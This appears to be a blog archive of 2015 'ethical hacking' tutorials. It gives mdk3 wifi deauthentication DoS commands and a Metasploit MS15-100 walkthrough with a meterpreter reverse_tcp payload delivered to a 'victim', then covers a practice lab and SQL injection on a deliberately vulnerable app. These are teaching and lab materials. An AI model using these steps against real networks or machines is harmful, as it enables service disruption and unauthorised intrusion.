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Posted on November 10, 2015August 13, 2024 by kanishka10

Beginners guide to mdk3

Good Evening friends. Today we will learn how to perform Wifi DOS attack on Wifi networks. We will use a tool called mdk3 which is inbuilt in Kali Linux and we need a compatible wifi adapter for this attack. A Dos attack stands for Denial Of Service attack. If all is set, open a terminal and type command “mdk3” to see various attacks available in this tool as shown below.

Scroll down to see more options. We can see the various testing modes available in this tool. We will use the deauthentication attack for this Wifi DOS. As the name implies, this attack disconnects all clients connected to the wifi network.

Before we start our attack, we have to start our adapter in monitor mode. Type command “airmon-ng start wlan0“. (where wlan0 is your wifi interface and may differ for you).

Then type command “mdk3 mon0 d -i <ESSID name>” and you will see the tool disconnecting all the clients connected to the Wifi network you are targeting. Here,

“mon0” – is the interface where monitor mode has been started. This can be different for you.

d – is the de authentication mode

ESSID – is the name of the Wifi network.

Hope this was helpful. Learn how to crack wifi passwords.

Posted on November 1, 2015July 18, 2024 by kanishka10 — 2 Comments

Using MS15-100 vulnerability to hack Windows

Hello aspiring ethical hackers. In this howto, we will see how to hack Windows 7 with MS15-100 with recently released ms15-100 Microsoft Windows Media Center MCL exploit. For this, I am gonna use pentest lab i created in our previous howto. I am using Kali Linux as my attacker system for hacking windows 7.

Start Metasploit by typing command “msfconsole”. Search for our exploit using command as shown below.

Load the exploit as shown below.

Set the IP address of Kali Linux to “srvhost” option. Set payload as “windows/meterpreter/reverse_tcp“. Set Lhost as IP address of Kali Linux.

Check if all the necessary options are set by typing command “show options“. Now run the exploit by typing command “exploit“. You will get the following result. Now copy the underlined link and send it to your victim.

When your victim clicks on the link, he will get a popup asking him to download and save the file.

When the user clicks on the downloaded file, we will get a meterpreter session on our attacker system as shown below. Type command “sessions -l ” to see the available sessions. We have one session available below.

Type command “sessions -i 1“( 1 is the session number available to us and can vary for you) to use the meterpreter session. Type “sysinfo” to know about the target system. Hurrah, we have successfully hacked our target.

That’s how we hack Windows 7 with MS15-100 exploit.

Posted on September 11, 2015July 10, 2024 by kanishka10 — 1 Comment

Create a web application penetration testing lab

Good Evening friends. Today we will see a step by step guide on how to create a web application penetration testing lab .

For creating this lab, I am using a host machine with Windows 7 installed on it. We also need the following software.

1. Wamp server ( Download here)

2. Vulnerawa ( Download here )

3. Vmware Workstation or Oracle Virtualbox ( Download here )

4. Kali Linux ( Download here )

Download the above software to your system. Install Wamp server. For this WAPT lab, we will use Vulnerawa as a vulnerable website or target website. Extract the contents of the vulnerawa.zip folder to the root folder of the Wamp server. Now open a browser and and type localhost in the URL bar to see if you can see the victim webapp as shown below.

Click on “Create Database” to create some data which we will use in our future howto’s.

Now let’s change the permissions of the Wamp server to access it from our attacker machine. Go to Apache>httpd.conf as shown below.

You should see the httpd.conf as shown below. Type CTRL+F and search for word “stuff”. After you find it, make changes as shown below in the red box. Save the file by typing CTRL+S and restart the Wamp server.

Now install Kali Linux in Vmware Workstation or Oracle Virtualbox (see how ). Set the network adapter to NAT. Now open command line in your host machine and check the IP address assigned to your host machine as shown below by typing command “ipconfig”. Since I am using Vmware Workstation my network adapter is Vmware network adapter vmnet8. The IP address assigned to my host machine is 192.168.64.1.

Now start your attacker machine( Kali Linux ), open browser and type the address 192.168.64.1 in the url bar and see if you can access the victim web application as shown below.

Your web application penetration testing lab is ready. Happy hacking practice.

Posted on September 2, 2015February 27, 2024 by kanishka10 — 1 Comment

How to setup Vulnerawa in Wamp server

Good Evening friends. Today we will see how to setup Vulnerawa in Wamp Server. For those newbies who don’t know what is Vulnerawa, it is a vulnerable web app coded by me to simulate a real website for practice. Read more about it here. First, download Wamp Server from here as appropriate to your system requirements. We will use “WAMPSERVER (64 BITS & PHP 5.3.10) 2.2d″ for this howto. Install the Wamp Server. Open browser and type “localhost” in the URL bar to see if Wamp server is working as shown below.

We can see that there are no projects available. Now download Vulnerawa from here. You will find a zip file as shown below. Now we will extract the contents of this file into the root folder of Wamp server. Right click on the zip file, go to 7-zip as shown below ( or any other unzipping software ) and select “Extract files”option. Extract the files to the folder “C:\\wamp\www” which is the root folder for Wamp server.

Now lets check the root folder to see if the files are extracted. Go to wamp server’s root directory and you should see the folder named “vulnerawa1.0.2” as shown below.

Now open your browser and type “localhost” once again. Now we can see our projectVulnerawa1.0.2 listed in the Projects section as shown below.

Click on the project. If you see the below webpage, then you have successfully setup Vulnerawa. If it gives you some error go to the url and type “http://localhost/vulnerawa1.0.2” directly. Happy hacking practice.

Here’s a video version of this howto.

https://www.youtube.com/watch?v=IJqqFFX5upc

Posted on August 29, 2015February 27, 2024 by kanishka10 — 2 Comments

Vulnerawa : Vulnerable web app for practice

Vulnerawa stands for “Vulnerable Web Application”. This vulnerable web application developed by me is still in its nascent stages. I have started developing “Vulnerawa” to simulate a real website, i.e practice website hacking on this application and you are ready for hacking real websites. It is available for downloadhere, it has only SQL Injection vulnerabilities. (Gohereto see how to setup Vulnerawa). Here’s a picture of Vulnerawa below.

This vulnerable web app has two SQL injection vulnerabilities, url based and Login Bypass. As an example, let’s see login bypass using SQL injection. Click on link “Login”. You will be greeted with a login form. Enter single quote character(‘) as shown below in the picture below and click on “Submit”.

You will get an error as shown below, i.e the web app is vulnerable to SQL injection. This trick also works on real-time websites if they are vulnerable to SQL injection.

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